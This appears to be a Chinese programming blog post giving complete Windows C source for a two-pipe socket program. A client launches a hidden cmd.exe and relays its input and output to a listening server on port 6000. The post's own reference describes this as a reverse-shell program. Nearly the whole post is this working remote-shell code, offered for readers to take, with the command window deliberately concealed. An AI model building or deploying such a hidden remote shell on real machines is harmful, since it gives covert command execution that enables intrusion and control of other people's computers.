使用双管道+Socket实现远程模拟cmd执行命令

2018年11月18日 421点热度 0人点赞 0条评论

模拟实现cmd命令的执行,不说废话,依然所有描述都在注释里面

/*
* by:initm.com    转载请注明出处
* Date:2018/11/18
* 这段程序可以在远程模拟cmd的执行,我第一次看到双管道模拟这个思路是在
* https://bbs.csdn.net/topics/392135870
* 这个帖子,验证也可行的,因为要做远程的模拟,昨天恰好看到了一片文章在写这个,
* 但是原文章代码貌似有一丢丢小问题,所以呢改吧了一下,发出来如果有需要请拿去.
*/
//头文件要加好
#include <WinSock2.h>
#include <WS2Tcpip.h>
//注意上面的两个头文件一定要放在上面,别问我为什么.
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <process.h>

//这个头文件可以去我的另外一篇文章http://blog.initm.com/print-debug-infomation-tool.shtml找
#include "dt.h"
#pragma comment(lib, "ws2_32.lib")

#define BUFF_SIZE 1024
//这个宏用来确定是编译服务端还是编译客户端
//#define SERVER

#ifdef SERVER
//服务端接收客户端打印信息的线程,和标准输出交互,服务端看到的文字就是这个线程打印的
VOID __cdecl ReceiveThread(LPVOID lpParm)
{
    SOCKET socketNew = (SOCKET)lpParm;
    while (TRUE) {
        CHAR receiveBuffer[BUFF_SIZE];
        INT len = recv(socketNew, receiveBuffer, BUFF_SIZE, 0);
        if (SOCKET_ERROR == len) {
            closesocket(socketNew);
            DE("socket error ...");
            return ;
        }
        receiveBuffer[len] = 0;
        printf("%s", receiveBuffer);
    }

}
//服务端发送命令的线程,这个线程和标准输入交互,将接收到的命令发送到客户端
VOID __cdecl SendThread(LPVOID lpParm)
{
    SOCKET socketNew = (SOCKET)lpParm;

    char sendBuffer[BUFF_SIZE];
    while (TRUE) {
        ZeroMemory(sendBuffer, BUFF_SIZE);
        fgets(sendBuffer, BUFF_SIZE, stdin);
        if (SOCKET_ERROR == send(socketNew, sendBuffer, strlen(sendBuffer), 0)) {
            DE("Send Error");
            return ;
        }
    }
}

//新连接到来,创建接收和发送的线程
VOID __cdecl SocketThread(LPVOID lpParm)
{
    _beginthread(ReceiveThread, NULL, lpParm);
    _beginthread(SendThread, NULL, lpParm);
}

int main(int argc, char* argv[])
{
    WORD myVersionRequest = 0;
    WSADATA wsData;
    memset(&wsData, 0 , sizeof(wsData));
    myVersionRequest = MAKEWORD(2, 2);
    int err = WSAStartup(myVersionRequest, &wsData);
    if (!err) {
        DT("Open socket success!\n");
    }
    else {
        DE("Open socket error!\n");
        return 1;
    }
    
    SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);

    SOCKADDR_IN addr;
    addr.sin_family = AF_INET;
    addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);//ip地址,绑定所有的
    addr.sin_port = htons(6000);//绑定端口
    if (SOCKET_ERROR == bind(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR))) {
        WSACleanup();
        DE("bind error!\n");
        return 2;
    }
    if (SOCKET_ERROR == listen(sock, 1)) {
        WSACleanup();
        DE("listen error!\n");
        return 3;
    }

    SOCKADDR_IN clientSocket;
    memset(&clientSocket, 0, sizeof(clientSocket));
    int len = sizeof(SOCKADDR);

    while (TRUE) {
        SOCKET sockNew = accept(sock, (SOCKADDR*)&clientSocket,
            &len);
        DT("new connection is coming...\n");
        _beginthread(SocketThread, NULL, (LPVOID)sockNew);
    }

    closesocket(sock);
    WSACleanup();
    
    return 0;
}
#else

//保存管道的句柄,因为其他函数要用,所以定义成全局的
//hStdOutRead 用来读取新创建cmd进程的标准输出
//hStdInWrite 用来往新创建cmd进程的标准输入里写数据
HANDLE hStdOutRead = NULL, hStdInWrite = NULL;

//创建两个管道,分别对应cmd进程的标准输入和标准输出
BOOL CreateTwoPipe()
{
    HANDLE hStdInRead = NULL, hStdOutWrite = NULL;
    SECURITY_ATTRIBUTES saIn, saOut;
    saIn.nLength = sizeof(saIn);
    saIn.bInheritHandle = TRUE;
    saIn.lpSecurityDescriptor = NULL;
    BOOL bRes = CreatePipe(&hStdInRead, &hStdInWrite, &saIn, 0);
    if (!bRes) {
        DE("Client CreatePipeIn error!");
        return FALSE;
    }

    saOut.nLength = sizeof(saOut);
    saOut.bInheritHandle = TRUE;
    saOut.lpSecurityDescriptor = NULL;
    bRes = CreatePipe(&hStdOutRead,&hStdOutWrite, &saOut, 0);
    if (!bRes) {
        DE("Client CreatePipeOut error!");
        return FALSE;
    }
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    //这两个标志就是说使用si中的wShowWindow标记和hStdInput hStdOutput hStdError标记
    //说白了就是隐藏cmd窗口和重定向标准输入输出
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = hStdInRead;
    si.hStdOutput = hStdOutWrite;
    si.hStdError = hStdOutWrite;
    TCHAR szCmdLine[] = _T("cmd.exe");
    PROCESS_INFORMATION pi;
    bRes = CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    if (!bRes) {
        DE("Client CreateProcess error!");
        return FALSE;
    }
    //子进程用, 父进程就关掉就可以了
    CloseHandle(hStdInRead);
    CloseHandle(hStdOutWrite);
    return TRUE;
}

//从管道中读取标准输出的数据,然后send给服务端
void ReadOutPutReadCmd(LPVOID lpParm)
{
    BYTE buffer[BUFF_SIZE] = { 0 };
    int ret = 0;
    DWORD dwByteRecv = 0;
    SOCKET clientSocket = (SOCKET)lpParm;
    while (TRUE) {
        dwByteRecv = 0;
        ZeroMemory(buffer, sizeof(buffer));
        if (!ReadFile(hStdOutRead, buffer, BUFF_SIZE, &dwByteRecv, NULL)) {
            break;
        }
        ret = send(clientSocket, (LPCSTR)buffer, dwByteRecv, 0);
        if (SOCKET_ERROR == ret) {
            break;
        }
    }
}

int main(int argc, char* argv[])
{
    WSADATA wsaData;
    ZeroMemory(&wsaData, sizeof(wsaData));
    if (!WSAStartup(MAKEWORD(2, 2), &wsaData)) {
        DT("Client socket open success!");
    }
    else {
        DE("Client socket open error!");
        return 1;
    }
    SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);

    SOCKADDR_IN addr;
    in_addr ip;
    inet_pton(AF_INET, "127.0.0.1", &ip);
    //这里有一个坑ip.S_un.S_addr,这个变量已经是网络字节序,不需要再做转换
    addr.sin_addr.S_un.S_addr = ip.S_un.S_addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(6000);

    if (SOCKET_ERROR == connect(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR))) {
        DE("Client connect error!");
        return 2;
    }

    if (!CreateTwoPipe()) {
        DE("Client CreatePipe error!");
        return 3;
    }

    INT nByteRecv = 0;
    char clientBuffer[BUFF_SIZE] = { 0 };

    //创建读取输出的线程
    _beginthread(ReadOutPutReadCmd, 0, (LPVOID)sock);

    while (TRUE) {
        ZeroMemory(clientBuffer, BUFF_SIZE);
        nByteRecv = recv(sock, clientBuffer, BUFF_SIZE, 0);
        if (SOCKET_ERROR == nByteRecv) {
            break;
        }
        printf("recv:%s", clientBuffer);
        //往管道里面写入数据
        DWORD dwWriteSize = 0;
        if (!WriteFile(hStdInWrite, clientBuffer, nByteRecv, &dwWriteSize, NULL)) {
            DE("Client WriteFile error !");
            break;
        }
    }

    CloseHandle(hStdInWrite);
    CloseHandle(hStdOutRead);

    closesocket(sock);
    WSACleanup();

    return 0;
}
#endif

参考:

双管道cmd反弹程序https://blog.csdn.net/hjxyshell/article/details/50572532

Stupid

一个人用自己的船将他人送到彼岸,那他自己也到达了彼岸。

文章评论